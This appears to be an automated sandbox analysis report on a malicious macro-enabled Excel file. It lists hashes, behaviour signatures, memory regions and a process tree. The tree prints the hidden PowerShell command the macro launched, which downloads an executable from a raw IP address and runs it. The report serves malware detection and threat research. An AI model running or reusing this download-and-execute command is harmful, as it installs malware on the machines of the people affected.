Analysis

  • max time kernel
    156s
  • max time network
    133s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    13-10-2023 02:24

General

  • Target

    bbff2bce7c553d1e11b48a38bfd351f9e715b683171f596751d78ace10782e79_JC.xlsm

  • Size

    163KB

  • MD5

    a1a45847a65b6b39bce75c35174054f6

  • SHA1

    4ca6d35e97aa05ac5f00468afe82eafd53e87cad

  • SHA256

    bbff2bce7c553d1e11b48a38bfd351f9e715b683171f596751d78ace10782e79

  • SHA512

    94e6730a02496d6cedc1c2be047cb1fa2e00b98dc269620ba6f7bfa077e2d3ab96e63d76606baaef3947fadc5e457669e31a23a556706fa27210244ae52e2195

  • SSDEEP

    3072:VlgkqZrBX6HxU1GoLa7r5rligZBYnJbTS7xNn9JxtLOfa27jwg4q:VlR2rgaGo+/i63ntLwaCjwHq

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\bbff2bce7c553d1e11b48a38bfd351f9e715b683171f596751d78ace10782e79_JC.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2788
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://193.203.203.67/rt/Doc-3737122pdf.exe" -OutFile $TempFile; Start-Process $TempFile;
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2688

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2688-17-0x00000000027D0000-0x0000000002810000-memory.dmp

    Filesize

    256KB

  • memory/2688-10-0x000000006C830000-0x000000006CDDB000-memory.dmp

    Filesize

    5.7MB

  • memory/2688-18-0x00000000027D0000-0x0000000002810000-memory.dmp

    Filesize

    256KB

  • memory/2688-15-0x00000000027D0000-0x0000000002810000-memory.dmp

    Filesize

    256KB

  • memory/2688-12-0x000000006C830000-0x000000006CDDB000-memory.dmp

    Filesize

    5.7MB

  • memory/2688-9-0x000000006C830000-0x000000006CDDB000-memory.dmp

    Filesize

    5.7MB

  • memory/2688-14-0x00000000027D0000-0x0000000002810000-memory.dmp

    Filesize

    256KB

  • memory/2688-11-0x00000000027D0000-0x0000000002810000-memory.dmp

    Filesize

    256KB

  • memory/2688-13-0x000000006C830000-0x000000006CDDB000-memory.dmp

    Filesize

    5.7MB

  • memory/2788-8-0x0000000005CF0000-0x0000000005DF0000-memory.dmp

    Filesize

    1024KB

  • memory/2788-1-0x0000000072BCD000-0x0000000072BD8000-memory.dmp

    Filesize

    44KB

  • memory/2788-4-0x0000000005CF0000-0x0000000005DF0000-memory.dmp

    Filesize

    1024KB

  • memory/2788-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2788-2-0x0000000072BCD000-0x0000000072BD8000-memory.dmp

    Filesize

    44KB

  • memory/2788-21-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2788-22-0x0000000072BCD000-0x0000000072BD8000-memory.dmp

    Filesize

    44KB